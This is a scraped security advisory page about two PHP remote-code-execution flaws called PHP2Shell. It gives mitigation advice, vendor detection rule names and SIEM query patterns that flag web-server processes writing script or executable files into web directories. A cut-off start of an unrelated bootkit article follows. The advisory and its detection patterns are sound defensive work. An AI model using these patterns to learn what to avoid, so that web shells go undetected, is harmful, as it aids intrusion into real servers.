data-line="urvanov-syntax-highlighter-6ae431ca285ea797578612-3">3</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae431ca285ea797578612-4">4</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae431ca285ea797578612-5">5</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae431ca285ea797578612-1"><span class="crayon-v">Name</span><span class="crayon-h"> </span><span class="crayon-o">=</span><span class="crayon-h"> </span><span class="crayon-s">'openat'</span><span class="crayon-h"> </span><span class="crayon-st">AND</span><span class="crayon-h"> </span><span class="crayon-e">has</span><span class="crayon-sy">(</span><span class="crayon-v">SA</span><span class="crayon-sy">.</span><span class="crayon-v">Nametype</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-s">'CREATE'</span><span class="crayon-sy">)</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae431ca285ea797578612-2"><span class="crayon-st">AND</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae431ca285ea797578612-3"><span class="crayon-e">length</span><span class="crayon-sy">(</span><span class="crayon-e">arrayFilter</span><span class="crayon-sy">(</span><span class="crayon-v">x</span><span class="crayon-h"> </span><span class="crayon-o">-&gt;</span><span class="crayon-h"> </span><span class="crayon-e">match</span><span class="crayon-sy">(</span><span class="crayon-v">x</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-s">'(public_html|var/www|usr/local/apache2|usr/local/httpd|var/apache|srv/www|home/httpd/html|srv/http|usr/share/nginx/html|var/lib/pgsql/data|usr/local/mysql/data|var/lib/mysql|var/vsftpd|etc/bind|var/named)'</span><span class="crayon-sy">)</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">SA</span><span class="crayon-sy">.</span><span class="crayon-v">FileName</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-o">&gt;</span><span class="crayon-cn">1</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae431ca285ea797578612-4"><span class="crayon-st">AND</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae431ca285ea797578612-5"><span class="crayon-e">length</span><span class="crayon-sy">(</span><span class="crayon-e">arrayFilter</span><span class="crayon-sy">(</span><span class="crayon-v">x</span><span class="crayon-h"> </span><span class="crayon-o">-&gt;</span><span class="crayon-h"> </span><span class="crayon-e">match</span><span class="crayon-sy">(</span><span class="crayon-v">x</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-s">'\.(aspx|asp|asmx|asax|ashx|jspx|jsp|js|phpt|php|phtml|pht|cfm|shtml|htaccess|fcgi|cgi|pl|py|sh)'</span><span class="crayon-sy">)</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">SA</span><span class="crayon-sy">.</span><span class="crayon-v">FileName</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-o">&gt;</span><span class="crayon-cn">1</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0004 seconds] --> </div> </div> </div> <div class="c-article__footer"> <div class="c-article__authors u-hidden@md"> <p class="c-title--extra-small">Authors</p> <ul class="c-list-authors"> <li> <a href="https://securelist.com/author/kaspersky/"> <span>Kaspersky</span></a> </li> </ul> </div> </div> <!-- .entry-comments --> </div> </div> </div> <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-1200x600.jpg" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-1200x600.jpg 1200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-300x150.jpg 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-1024x512.jpg 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-768x384.jpg 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-1536x768.jpg 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-2048x1024.jpg 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-700x350.jpg 700w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-740x370.jpg 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-560x280.jpg 560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-800x400.jpg 800w" decoding="async" height="600" sizes="auto, (max-width: 1200px) 100vw, 1200px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21122913/php2shell-featured-image-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="js-reading-content"> <div class="c-wysiwyg"> <p><a href="https://securelist.com/tr/php2shell-critical-vulnerabilities-in-php/121596/#SIEM" rel="noopener" target="_blank">UPD 23.10.2026</a>: added Kaspersky SIEM rules and events for developing custom detection rules or conducting threat hunting.</p> <p><a href="https://securelist.com/tr/php2shell-critical-vulnerabilities-in-php/121596/#MDR" rel="noopener" target="_blank">UPD 22.10.2026</a>: added a description of how the Kaspersky Managed Detection and Response service detects the described malicious activity.</p> <p><a href="https://securelist.com/tr/php2shell-critical-vulnerabilities-in-php/121596/#VM" rel="noopener" target="_blank">UPD 22.10.2026</a>: added a description of how Kaspersky Vulnerability Management detects vulnerable versions of PHP.</p> <h2 id="vulnerability-overview">Vulnerability overview</h2> <p>On October 20, 2026, the PHP security team <a href="https://www.php.net/archive/2026.php#2026-10-20-1">published a preliminary notice</a> regarding an upcoming emergency release that addresses two critical vulnerabilities (both rated 9.2 on the CVSS scale). The patches were released on Wednesday, October 21, 2026, at 14:00 UTC.</p> <p>The release was expedited after information about the vulnerabilities was leaked to the public before the scheduled embargo was lifted. In a post on Hacker News, a user reported two RCE vulnerabilities in PHP, allegedly affecting all versions starting with PHP 5.4.0.</p> <p>The vulnerabilities in question are CVE-2026-109618 and CVE-2026-109619. Shortly after the post appeared, <a href="https://x.com/watchtowrcyber/status/2112611507749982605">researchers</a> confirmed the existence of the vulnerabilities. Along with the leak of details, an exploit unofficially named PHP2Shell appeared online. In the leaked demo video, the exploit is shown in action on web servers running WordPress, MediaWiki, phpBB, Magento, Joomla, Laravel, Symfony, Drupal, and WHMCS — platforms that power many modern websites. The authenticity of the demonstration and the exact behavior of the exploit had not been independently verified at the time of publication.</p> <p>According to the researcher who published the PoC, the vulnerabilities are related to the handling of the multipart/form-data MIME type in conjunction with the session upload progress mechanism (<code>session.upload_progress</code>) in the PHP core and fall under the categories of use-after-free and memory corruption. This means that the flaws cannot be fixed via application code, and the only fix is to update PHP on the server. The attack requires no authentication: an attacker with network access to a PHP application can execute arbitrary code with the privileges of the PHP process without needing to authenticate. <a href="https://www.php.net/index.php#2026-10-20-5">Security advisories</a> issued by the PHP team on October 21 confirm this information.</p> <p>The vulnerabilities affect PHP versions 5, 7, and 8. As of this publication, branches 8.2 through 8.5 are supported. Older branches, including PHP 8.1, 8.0, 7.x, and 5.x, have reached the end of their lifecycle; however, due to the critical severity of the vulnerabilities, backported patches have also been released for versions 7.4, 8.0, and 8.1.</p> <p>Sansec experts <a href="https://sansec.io/research/php2shell">estimate</a> that widespread exploitation could begin within 15 minutes of the update’s release. We strongly recommend that administrators responsible for publicly accessible PHP web servers take the following steps before the patch is available:</p> <ol> <li>Take an inventory of all PHP-based systems in your infrastructure (such as web servers, control panels, and third-party software).</li> <li>Disable upload-progress: set <code>session.upload_progress.enabled = Off</code> using the <code>php_admin_flag</code> in PHP-FPM pools.</li> <li>Block multipart requests on nginx and Apache servers.</li> <li>Consider temporarily isolating PHP applications that connect to the Internet until fixes are released.</li> <li>Be ready to install the patch immediately upon its release.</li> <li>Plan to migrate servers running unsupported versions (8.1 and earlier) to the latest PHP branch.</li> </ol> <h2 id="detection-by-kaspersky-solutions">Detection by Kaspersky solutions</h2> <p>Kaspersky solutions detect the described malicious activity at various stages of the attack. Possible detection scenarios are listed below.</p> <p>When an attempt is made to exploit these RCE vulnerabilities, <a href="https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr?icid=gl_sl_post-kedr-expert_sm-team_29dc1130f3f612f2" target="_blank">Kaspersky Endpoint Detection and Response</a> promptly alerts the user to suspicious actions performed in the context of a web server, on both Linux and Windows machines. This activity is detected by the following rules:</p> <ul> <li><a href="https://tip.kaspersky.com/landscape/hunts/edr/ef976155-c31a-a20d-e1f0-2ed5b97cb548?icid=gl_sl_tip-rule-lnk_sm-team_b7ba2662923e4902">creating_windows_shell_from_a_web_servers_process</a>;</li> <li><a href="https://tip.kaspersky.com/landscape/hunts/edr/cd60357e-6d7f-d792-143f-662c999821ee?icid=gl_sl_tip-rule-lnk_sm-team_369f7c0d9c1423c3">possible_web_shell_creating_via_exploit</a>;</li> <li><a href="https://tip.kaspersky.com/landscape/hunts/edr/f50f890a-2459-c7a4-368b-65e1372361ee?icid=gl_sl_tip-rule-lnk_sm-team_4841557c540612a6">spawning_process_from_webserver_more_filters_linux</a>;</li> <li><a href="https://tip.kaspersky.com/landscape/hunts/edr/e15e40a2-26f8-e2a3-abd5-98d1e2c63bdd?icid=gl_sl_tip-rule-lnk_sm-team_866ddfe7cd389f7e">webserver_interpreter_execution_linux</a>;</li> <li><a href="https://tip.kaspersky.com/landscape/hunts/edr/ba0cdd92-bf2c-e0a4-660a-aecd3bbdd20e?icid=gl_sl_tip-rule-lnk_sm-team_c4e8fc8c8d70ca85">executable_file_in_www_folder</a>.</li> </ul> <div class="wp-caption aligncenter" id="attachment_121599-2" style="width: 1034px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1.png"><img alt="Detection of the PHP2Shell vulnerability exploit by KEDR" aria-describedby="caption-attachment-121599-2" class="size-large wp-image-121599" decoding="async" height="974" sizes="auto, (max-width: 1024px) 100vw, 1024px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1-1024x974.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1-1024x974.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1-300x285.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1-768x731.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1-368x350.png 368w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1-740x704.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1-294x280.png 294w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1-800x761.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150732/p2pshell-1.png 1258w" title="p2pshell-1" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121599-2">Detection of the PHP2Shell vulnerability exploit by KEDR</p></div> <p>Exploitation of the PHP2Shell vulnerability in network traffic is detected by <a href="https://www.kaspersky.com/enterprise-security/anti-targeted-attack-platform?icid=gl_sl_post-kata_sm-team_839dfa6f6cbc16e1" target="_blank">Kaspersky Anti Targeted Attack (KATA)</a>. This solution detects such activity with the following verdicts: <a href="https://tip.kaspersky.com/landscape/hunts/ndr/77915054?icid=gl_sl_tip-rule-lnk_sm-team_aaa66a764fa5fc72">Exploit.CVE-2026-109618.HTTP.C&amp;C</a> and <a href="https://tip.kaspersky.com/landscape/hunts/ndr/77914996?icid=gl_sl_tip-rule-lnk_sm-team_447f937f3fb57e4a">Exploit.CVE-2026-109619.HTTP.C&amp;C</a>.</p> <div class="wp-caption aligncenter" id="attachment_121600-2" style="width: 1034px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2.png"><img alt="Detection of the PHP2Shell vulnerability exploit by KATA" aria-describedby="caption-attachment-121600-2" class="size-large wp-image-121600" decoding="async" height="696" sizes="auto, (max-width: 1024px) 100vw, 1024px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2-1024x696.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2-1024x696.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2-300x204.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2-768x522.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2-515x350.png 515w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2-740x503.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2-412x280.png 412w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2-800x544.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/21150756/p2pshell-2.png 1056w" title="p2pshell-2" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121600-2">Detection of the PHP2Shell vulnerability exploit by KATA</p></div> <p>Kaspersky Endpoint Security, now available as <a href="https://www.kaspersky.com/next?icid=gl_sl_knext-post_sm-team_cede4e5dff54f34a" target="_blank">Kaspersky Next</a>, also detects malicious post-exploitation activity using the <a href="https://www.kaspersky.com/enterprise-security/wiki-section/products/behavior-based-protection" rel="noopener" target="_blank">Behavior Detection component</a>, with verdicts such as PDM:Exploit.Linux.Generic and PDM:Exploit.Win32.Generic.<br/> <a name="VM"></a><br/> Our <a href="https://www.kaspersky.com/enterprise-security/vulnerability-management?icid=gl_sl_vuln-management-inpost-link_sm-team_62a0555733e1ee2a" target="_blank">Kaspersky Vulnerability Management</a> solution detects vulnerable software versions using the <a href="https://support.kaspersky.com/vm/1.0/308483" target="_blank">Vulnerability scanning</a> and <a href="https://support.kaspersky.com/vm/1.0/311665?page=help" target="_blank">Agentless black-box scanning</a> components.<br/> <div class="wp-caption aligncenter" id="attachment_121623-2" style="width: 1034px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22111751/php2shell-3.png"><img alt="Detection of the PHP vulnerability in Kaspersky Vulnerability Management" aria-describedby="caption-attachment-121623-2" class="size-large wp-image-121623" decoding="async" height="510" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22111751/php2shell-3.png" title="php2shell-3" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121623-2">Detection of the PHP vulnerability in Kaspersky Vulnerability Management</p></div><br/> <a name="MDR"></a>The <a href="https://www.kaspersky.com/enterprise-security/managed-detection-and-response?icid=gl_sl_mdr-lnk_sm-team_195a10e9872df951" target="_blank">Kaspersky Managed Detection and Response</a> service detects the exploitation of the described vulnerabilities by monitoring activity characteristic of RCE:</p> <ul> <li>Spawning of suspicious processes by the web server;</li> <li>Creation of suspicious executable files in the web application directory;</li> <li>Creation of suspicious scripts in the web application directory;</li> <li>Creation of files with uncommon extensions in the web application directory;</li> <li>Execution of reconnaissance commands by the web server process;</li> <li>Execution of persistence commands by the web server process;</li> <li>Delivery and launch of web shells on the web server.</li> </ul> <p>Moreover, MDR detects other malicious activity not directly related to remote code execution.<br/> <a name="SIEM"></a><br/> To protect companies that use our <a href="https://www.kaspersky.com/enterprise-security/unified-monitoring-and-analysis-platform?icid=gl_sl_siem-inpost-link_sm-team_c6da27b0f60ba483" target="_blank">Kaspersky SIEM system</a>, the product repository includes rules that help detect the following malicious activity.</p> <ul> <li>Execution of suspicious executable files by web server processes on Windows and Linux machines: <ul> <li><strong>R300_04_Windows shell started by a web application</strong></li> <li><strong>R152_08_A running Linux shell process has a suspicious parent process</strong></li> </ul> </li> <li>Execution of reconnaissance commands by the web server process: <ul> <li><strong>R286_05_Possible web-shell (Linux)</strong></li> </ul> </li> </ul> <p>We also recommend monitoring the creation of scripts or executable files in the web server directory when developing your own detection rules or conducting threat hunting:</p> <!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover" id="urvanov-syntax-highlighter-6ae431ca285dd089843866" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;" wrap="soft"> ((DeviceEventClassID = '4663' AND DeviceCustomString1 ilike 'WriteData') OR DeviceEventClassID = '11') AND match(FileName,'(?i).*\.(php|asp|aspx|ashx|jsp|js|jar|jse|dll|exe|bat|ps1|vbs|wsf|wsh|msi|msp|hta|cpl)$') AND match(DestinationProcessName,'(?i).*(php-cgi|nginx|httpd|w3wp)\.exe')</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae431ca285dd089843866-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae431ca285dd089843866-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae431ca285dd089843866-3">3</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae431ca285dd089843866-1"><span class="crayon-sy">(</span><span class="crayon-sy">(</span><span class="crayon-v">DeviceEventClassID</span><span class="crayon-h"> </span><span class="crayon-o">=</span><span class="crayon-h"> </span><span class="crayon-s">'4663'</span><span class="crayon-h"> </span><span class="crayon-st">AND</span><span class="crayon-h"> </span><span class="crayon-e">DeviceCustomString1 </span><span class="crayon-i">ilike</span><span class="crayon-h"> </span><span class="crayon-s">'WriteData'</span><span class="crayon-sy">)</span><span class="crayon-h"> </span><span class="crayon-st">OR</span><span class="crayon-h"> </span><span class="crayon-v">DeviceEventClassID</span><span class="crayon-h"> </span><span class="crayon-o">=</span><span class="crayon-h"> </span><span class="crayon-s">'11'</span><span class="crayon-sy">)</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae431ca285dd089843866-2"><span class="crayon-st">AND</span><span class="crayon-h"> </span><span class="crayon-e">match</span><span class="crayon-sy">(</span><span class="crayon-v">FileName</span><span class="crayon-sy">,</span><span class="crayon-s">'(?i).*\.(php|asp|aspx|ashx|jsp|js|jar|jse|dll|exe|bat|ps1|vbs|wsf|wsh|msi|msp|hta|cpl)$'</span><span class="crayon-sy">)</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae431ca285dd089843866-3"><span class="crayon-st">AND</span><span class="crayon-h"> </span><span class="crayon-e">match</span><span class="crayon-sy">(</span><span class="crayon-v">DestinationProcessName</span><span class="crayon-sy">,</span><span class="crayon-s">'(?i).*(php-cgi|nginx|httpd|w3wp)\.exe'</span><span class="crayon-sy">)</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0003 seconds] --> <!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover" id="urvanov-syntax-highlighter-6ae431ca285ea797578612" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;" wrap="soft"> Name = 'openat' AND has(SA.Nametype, 'CREATE') AND length(arrayFilter(x -&gt; match(x, '(public_html|var/www|usr/local/apache2|usr/local/httpd|var/apache|srv/www|home/httpd/html|srv/http|usr/share/nginx/html|var/lib/pgsql/data|usr/local/mysql/data|var/lib/mysql|var/vsftpd|etc/bind|var/named)'), SA.FileName))&gt;1 AND length(arrayFilter(x -&gt; match(x, '\.(aspx|asp|asmx|asax|ashx|jspx|jsp|js|phpt|php|phtml|pht|cfm|shtml|htaccess|fcgi|cgi|pl|py|sh)'), SA.FileName))&gt;1</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae431ca285ea797578612-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae431ca285ea797578612-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae431ca285ea797578612-3">3</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae431ca285ea797578612-4">4</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae431ca285ea797578612-5">5</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae431ca285ea797578612-1"><span class="crayon-v">Name</span><span class="crayon-h"> </span><span class="crayon-o">=</span><span class="crayon-h"> </span><span class="crayon-s">'openat'</span><span class="crayon-h"> </span><span class="crayon-st">AND</span><span class="crayon-h"> </span><span class="crayon-e">has</span><span class="crayon-sy">(</span><span class="crayon-v">SA</span><span class="crayon-sy">.</span><span class="crayon-v">Nametype</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-s">'CREATE'</span><span class="crayon-sy">)</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae431ca285ea797578612-2"><span class="crayon-st">AND</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae431ca285ea797578612-3"><span class="crayon-e">length</span><span class="crayon-sy">(</span><span class="crayon-e">arrayFilter</span><span class="crayon-sy">(</span><span class="crayon-v">x</span><span class="crayon-h"> </span><span class="crayon-o">-&gt;</span><span class="crayon-h"> </span><span class="crayon-e">match</span><span class="crayon-sy">(</span><span class="crayon-v">x</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-s">'(public_html|var/www|usr/local/apache2|usr/local/httpd|var/apache|srv/www|home/httpd/html|srv/http|usr/share/nginx/html|var/lib/pgsql/data|usr/local/mysql/data|var/lib/mysql|var/vsftpd|etc/bind|var/named)'</span><span class="crayon-sy">)</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">SA</span><span class="crayon-sy">.</span><span class="crayon-v">FileName</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-o">&gt;</span><span class="crayon-cn">1</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae431ca285ea797578612-4"><span class="crayon-st">AND</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae431ca285ea797578612-5"><span class="crayon-e">length</span><span class="crayon-sy">(</span><span class="crayon-e">arrayFilter</span><span class="crayon-sy">(</span><span class="crayon-v">x</span><span class="crayon-h"> </span><span class="crayon-o">-&gt;</span><span class="crayon-h"> </span><span class="crayon-e">match</span><span class="crayon-sy">(</span><span class="crayon-v">x</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-s">'\.(aspx|asp|asmx|asax|ashx|jspx|jsp|js|phpt|php|phtml|pht|cfm|shtml|htaccess|fcgi|cgi|pl|py|sh)'</span><span class="crayon-sy">)</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">SA</span><span class="crayon-sy">.</span><span class="crayon-v">FileName</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-o">&gt;</span><span class="crayon-cn">1</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0004 seconds] --> </div> </div> </div> <div class="c-article__footer"> <div class="c-article__authors u-hidden@md"> <p class="c-title--extra-small">Authors</p> <ul class="c-list-authors"> <li> <a href="https://securelist.com/author/kaspersky/"> <span>Kaspersky</span></a> </li> </ul> </div> </div> <!-- .entry-comments --> </div> </div> </div> https://securelist.com/tr/php2shell-critical-vulnerabilities-in-php/121596/ cyber Wed, 21 Oct 2026 15:18:04 +0000 How APT41 revived the BlackLotus bootkit to attack diplomatic organizations in Central Asia https://securelist.com/uefi-bootkit-blackx/121539/ <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-1200x600.jpg" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-1200x600.jpg 1200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-300x150.jpg 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-1024x512.jpg 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-768x384.jpg 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-1536x768.jpg 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-2048x1024.jpg 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-700x350.jpg 700w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-740x370.jpg 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-560x280.jpg 560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-800x400.jpg 800w" decoding="async" height="600" sizes="auto, (max-width: 1200px) 100vw, 1200px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22043554/sas-uefi-blackx-featured-image-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="c-article__authors u-hidden u-block@md"> <p class="c-block__title">Authors</p> <ul class="c-list-authors"> <li> <a href="https://securelist.com/author/georgykucherin/"> <img alt="" class="avatar avatar-30 photo" decoding="async" height="30" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2023/03/21081441/Georgy-Kucherin_Securelist-30x30.jpg" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2023/03/21081441/Georgy-Kucherin_Securelist-60x60.jpg 2x" width="30" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> <span>Georgy Kucherin</span></a> </li> <li> <a href="https://securelist.com/author/vladimirnestor/"> <span>Vladimir Nestor</span></a> </li> <li> <a href="https://securelist.com/author/vasilyberdnikov/"> <img alt="" class="avatar avatar-30 photo" decoding="async" height="30" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/12/09140717/berdnikov-scaled-30x30.jpg" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/12/09140717/berdnikov-scaled-60x60.jpg 2x" width="30" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> <span>Vasily Berdnikov</span></a> </li> </ul> </div> <div class="js-reading-content"> <div class="c-wysiwyg"> <h2 id="introduction">Introduction</h2> <p>Back in October 2022, Kaspersky GReAT was looking into a peculiar advertisement on a hacking forum. A cybercriminal <a 